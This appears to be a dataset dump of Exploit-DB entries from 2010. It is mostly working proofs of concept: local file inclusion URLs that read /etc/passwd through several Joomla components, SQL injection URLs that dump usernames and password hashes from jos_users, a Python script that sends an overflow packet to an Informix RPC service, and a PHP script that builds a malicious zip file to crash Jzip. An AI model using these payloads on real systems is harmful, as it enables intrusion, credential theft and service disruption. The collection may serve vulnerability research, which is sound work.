QLWD/code_shield huggingface dataset:
标题: Joomla! Component AWDwall 1.5.4 - Local File Inclusion / SQL Injection EDB-ID: 12113 CVE: 2010-1494 2010-1493 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-08 漏洞利用脚本: =========================================================================================================


  [o] Joomla Component AWDwall-Joomla LFI & SQLi [cbuser] Vulnerability
 
       Software : com_awdwall version 1.5.4
       Vendor   : http://www.awdsolution.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=========================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_awdwall&controller=[LFI]
       http://localhost/[path]/index.php?option=com_awdwall&view=awdwall&Itemid=1&cbuser=1[SQL]


  [o] PoC

       http://localhost/index.php?option=com_awdwall&controller=../../../../../../../../../../etc/passwd%00
       http://localhost/[path]/index.php?option=com_awdwall&view=awdwall&Itemid=1&cbuser=-1+union+select+1,2,3,4,5,6,group_concat(username,0x3a,password),8,9,10,11,12+from+jos_users--


=========================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews kaka11 wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


=========================================================================================================


  [o] April 08 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12113
标题: Joomla! Component VJDEO 1.0 - Local File Inclusion EDB-ID: 12102 CVE: 2010-1354 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-07 漏洞利用脚本: (o)=====================================================================================(o)

                              Joomla Component VJDEO 1.0 LFI Vulnerability


                Vendor   : http://www.joomla.ternaria.com/
                Author    : Angela Zhang
                Contact  : mizz_4ng3l@yahoo.com
                Date        :  07 - April - 2010

(o)======================================================================================(o)



     [o] Exploit
 
       http://localhost/[path]/index.php?option=com_vjdeo&controller=[LFI]
 
 
    [o] PoC
 
       http://localhost/index.php?option=com_vjdeo&controller=../../../../../../../../../../../../../../../etc/passwd%00



(o)===========================================================================================(o)

Greetz   :   -:-  3SomeCrew  -:-

     Nyubi (Solpot) , Vrs-hCk , OoN_BoY , NoGe , Paman , zxvf ,   home_edition2001   ,   mywisdom , s4va, 
     Winda Slovski , stardustmemory, wishnusakti, Xco Nuxco , Cakill Schumbag, dkk
     


(o)===========================================================================================(o) URL: https://www.exploit-db.com/exploits/12102
标题: Multiple Vendor 'librpc.dll' Signedness Error - Remote Code Execution EDB-ID: 12109 CVE: 2009-2754 2009-2753 类型: DOS 平台: MULTIPLE 发布日期: 2010-04-08 漏洞利用脚本: # Exploit Title: ZDI-10-023: Multiple Vendor librpc.dll Signedness Error Remote Code Execution Vulnerability
# Date: 2010-04-08
# Author: ZSploit.com
# Software Link: N/A
# Version: N/A
# Tested on: IBM Informix Dynamic Server 10.0
# CVE : CVE-2009-2754

#! /usr/bin/env python
###############################################################################
## File       :  zs_ids_rpc.py
## Description:
##            :
## Created_On :  Mar 21 2010
##
## (c) Copyright 2010, ZSploit.com. all rights reserved.
###############################################################################
"""
The issue in __lgto_svcauth_unix():

.text:1000B8E1                 mov     [ebp+0], eax
.text:1000B8E4                 mov     eax, [ebx]
.text:1000B8E6                 push    eax             ; netlong
.text:1000B8E7                 add     ebx, 4
.text:1000B8EA                 call    esi ; ntohl    ; Get length of hostname
.text:1000B8EC                 cmp     eax, 0FFh    ; Signedness error, if we give 0xffffffff(-1) will pass this check
.text:1000B8F1                 jle     short loc_1000B8FD
.text:1000B8F3                 mov     esi, 1
.text:1000B8F8                 jmp     loc_1000B9D5
.text:1000B8FD ; ---------------------------------------------------------------------------
.text:1000B8FD
.text:1000B8FD loc_1000B8FD:                           ; CODE XREF: __lgto_svcauth_unix+71j
.text:1000B8FD                 mov     edi, [ebp+4]
.text:1000B900                 mov     ecx, eax
.text:1000B902                 mov     edx, ecx
.text:1000B904                 mov     esi, ebx
.text:1000B906                 shr     ecx, 2
.text:1000B909                 rep movsd        ; call memcpy here with user-supplied size cause a stack overflow
.text:1000B90B                 mov     ecx, edx
.text:1000B90D                 add     eax, 3
.text:1000B910                 and     ecx, 3
.text:1000B913                 rep movsb
"""

import sys
import socket

if (len(sys.argv) != 2):
    print "Usage:\t%s [target]" % sys.argv[0]
    sys.exit(0)


data = "\x80\x00\x00\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02" \
    "\x00\x01\x86\xb1\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01" \
    "\x00\x00\x00\x4c\x00\x00\xd6\x45\xff\xff\xff\xff\x41\x41\x41\x41" \
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x00\x00" \
    "\x00\x00\x00\x00\x00\x00\x00\x0a\x42\x42\x42\x42\x42\x42\x42\x42" \
    "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" \
    "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" \
    "\x00\x00\x00\x00\x00\x00\x00\x00"

host = sys.argv[1]
port = 36890

print "PoC for ZDI-10-023 by ZSploit.com"
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
    s.connect((host, port))
        s.send(data)
        print "Sending payload .."
    except:
        print "Error in send"
    print "Done"
except:
    print "Error in socket"

The ZSploit Team
http://zsploit.com URL: https://www.exploit-db.com/exploits/12109
标题: Joomla! Component XOBBIX 1.0 - 'prodid' SQL Injection EDB-ID: 12097 CVE: 2010-5053 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-06 漏洞利用脚本: ===============================================================================================================


  [o] Joomla Component XOBBIX [prodid] SQL Injection Vulnerability
 
       Software : com_xobbix version 1.0.x
       Vendor   : http://www.php-shop-system.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_xobbix&catid=32&task=prod_desc&prodid=25


  [o] PoC

       http://localhost/index.php?option=com_xobbix&catid=31&task=prod_desc&prodid=-21+union+select+1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16+from+jos_users--


  [o] Tool

       Simple SQLi Dumper v5.1
       http://c0li.info/xpl/ssdp51.tar.gz
       http://evilc0de.blogspot.com/2010/03/simple-sqli-dumper-v51-how-to.html


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


===============================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12097
标题: Joomla! Component Highslide 1.5 - Local File Inclusion EDB-ID: 12086 CVE: 2010-1314 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-06 漏洞利用脚本: ===============================================================================================================


  [o] Joomla Component Highslide JS Local File Inclusion Vulnerability
 
       Software : com_hsconfig version 1.5
       Vendor   : http://www.joomlanook.com/
       Author   : AntiSecurity [ s4va NoGe Vrs-hCk OoN_BoY Paman zxvf ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_hsconfig&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_hsconfig&controller=../../../../../../../../../../etc/passwd%00


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


===============================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12086
标题: Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion EDB-ID: 12088 CVE: 2010-1979 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-06 漏洞利用脚本: ===============================================================================================================


  [o] Joomla Component Affiliate Feeds Local File Inclusion Vulnerability
 
       Software : com_datafeeds version 880
       Vendor   : http://www.affiliatefeeds.nl/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_datafeeds&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


===============================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12088
标题: Joomla! Component Fabrik 2.0 - Local File Inclusion EDB-ID: 12087 CVE: 2010-1981 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-06 漏洞利用脚本: ============================================================================================================


  [o] Joomla Component Fabrik Local File Inclusion Vulnerability
 
       Software : com_fabrik version 2.0
       Vendor   : http://fabrikar.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_fabrik&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_fabrik&controller=../../../../../../../../../../etc/passwd%00


============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


============================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12087
标题: Joomla! Component Joomla! Flickr 1.0 - Local File Inclusion EDB-ID: 12085 CVE: 2010-1980 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-06 漏洞利用脚本: ==================================================================================================================


  [o] Joomla Component Joomla Flickr Local File Inclusion Vulnerability
 
       Software : com_joomlaflickr version 1.0.x
       Vendor   : http://aloiroberto.wordpress.com/software/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


==================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_joomlaflickr&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_joomlaflickr&controller=../../../../../../../../../../etc/passwd%00


==================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


==================================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12085
标题: Joomla! Component Saber Cart 1.0.0.12 - Local File Inclusion EDB-ID: 12082 CVE: 2010-1313 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-06 漏洞利用脚本: =========================================================================================================


  [o] Joomla Component Saber Cart Local File Inclusion Vulnerability
 
       Software : com_sebercart version 1.0.0.12
       Vendor   : http://www.seber.com.au/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


=========================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_sebercart&view=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_sebercart&view=../../../../../../../../../../etc/passwd%00


=========================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


=========================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12082
标题: Joomla! Component Juke Box 1.7 - Local File Inclusion EDB-ID: 12084 CVE: 2010-1352 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-06 漏洞利用脚本: =============================================================================================================


  [o] Joomla Component Juke Box Local File Inclusion Vulnerability
 
       Software : com_jukebox version 1.7
       Vendor   : http://www.jooforge.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_jukebox&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_jukebox&controller=../../../../../../../../../../etc/passwd%00


=============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


=============================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12084
标题: Joomla! Component News Portal 1.5.x - Local File Inclusion EDB-ID: 12077 CVE: 2010-1312 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-06 漏洞利用脚本: =================================================================================================================


  [o] Joomla Component News Portal Local File Inclusion Vulnerability
 
       Software : com_news_portal version 1.5.x
       Vendor   : http://www.ijoomla.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_news_portal&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


=================================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12077
标题: Joomla! Component Freestyle FAQ Lite 1.3 - 'faqid' SQL Injection EDB-ID: 12078 CVE: 2010-1529 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-06 漏洞利用脚本: ---------------------------------------------------------------------------------
Joomla Freestyle FAQ Lite Component 1.3 (faqid) SQL Injection
---------------------------------------------------------------------------------

Author  : Chip D3 Bi0s
Group  : LatinHackTeam
Email & msn : chipdebios@gmail.com
Date  : 05 april 2010
Critical Lvl : Moderate
Impact  : Exposure of sensitive information
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application : Freestyle FAQ Lite 
version  : 1.3
Developer : Freestyle Joomla
License  : GPLv2           type  : Non-Commercial
Date Added : 22 March 2010
Download : http://freestyle-joomla.com/fssdownloads/viewcategory/2
Demo  : http://freestyle-joomla.com/demo


Description     :

Freestyle FAQ Lite is designed to provide you with a highly customised
Frequently Asked Questions (FAQs) module on your Joomla website.
There are various customisable options, you can display FAQs under
a menu item or within a module.

• Multiple categories
• Search all FAQs
• Add an image for each category
• Link directly to a FAQ category or article from a menu item
• View all FAQs at once (option to hide this)
• Module to list FAQ categories anywhere on any page
• Full image and html support for each FAQ
• WYSIWYG editor for FAQs
• Attach full html description to each category FAQs can be toggled as published or unpublished
• Various Joomla back end parameters
• Multiple view modes for question list - Normal list - clicking a category takes you to a different page with FAQ list
• Multiple FAQ list modes - All questions and answers on one page


--------------

how to exploit

http://127.0.0.1/index.php?option=com_fss&view=faq&Itemid=4&catid=1&tmpl=component&faqid={sql}

------------------------


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++ URL: https://www.exploit-db.com/exploits/12078
标题: Joomla! Component Magic Updater - Local File Inclusion EDB-ID: 12070 CVE: 2010-1307 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-05 漏洞利用脚本: ================================================================================================

 Title    : Joomla Magic Updater (com_joomlaupdater) LFI Vulnerability
 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [+] Exploit

     http://[site]/[path]/index.php?option=com_joomlaupdater&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

 ================================================================================================

# c0li.m0de.0n URL: https://www.exploit-db.com/exploits/12070
标题: Jzip 1.3 - '.zip' Unicode Buffer Overflow (PoC) EDB-ID: 12081 CVE: 2010-5300 类型: DOS 平台: WINDOWS 发布日期: 2010-04-06 漏洞利用脚本: <?php
/*
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Jzip v1.3 (.zip) Unicode buffer overflow 0day PoC
Date: 6/4/2010
Author: mr_me (http://net-ninja.net/)
Software Link: http://www.jzip.com/
Version: 1.3
Tested on: Windows XP SP3 En
Advisory: http://www.corelan.be:8800/advisories.php?id=10-021
Greetz to: Corelan Security Team
http://www.corelan.be:8800/index.php/security/corelan-team-members/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Note: 
jzip.exe and all associated modules are compiled with safeseh and combine that
with the unicode limitation proves very difficult for exploitation. We did not 
find a working unicode address, otherwise this vulnerability would have been 
alot more fun! The seven moons were not aligned as Ben puts it :)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Script provided 'as is', without any warranty.
Use for educational purposes only.
Do not use this code to do anything illegal !

Note : you are not allowed to edit/modify this code.  
If you do, Corelan cannot be held responsible for any damages this may cause.
*/

$lf_header = "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00";

$cdf_header = "\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

$efcdr_record = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00";

$___offset = 4064;
$___nseh = str_repeat("\x43",2);
$___seh = str_repeat("\x44",2);

$___exploit = str_repeat("\x41",810).
$___nseh.
$___seh;
$___exploit .= 
str_repeat("\x41",$___offset-strlen($___exploit)).
"\x2e\x74\x78\x74";

$_____b00m = $lf_header.$___exploit.$cdf_header.$___exploit.$efcdr_record;
file_put_contents("cst-jzip.zip",$_____b00m);
?> URL: https://www.exploit-db.com/exploits/12081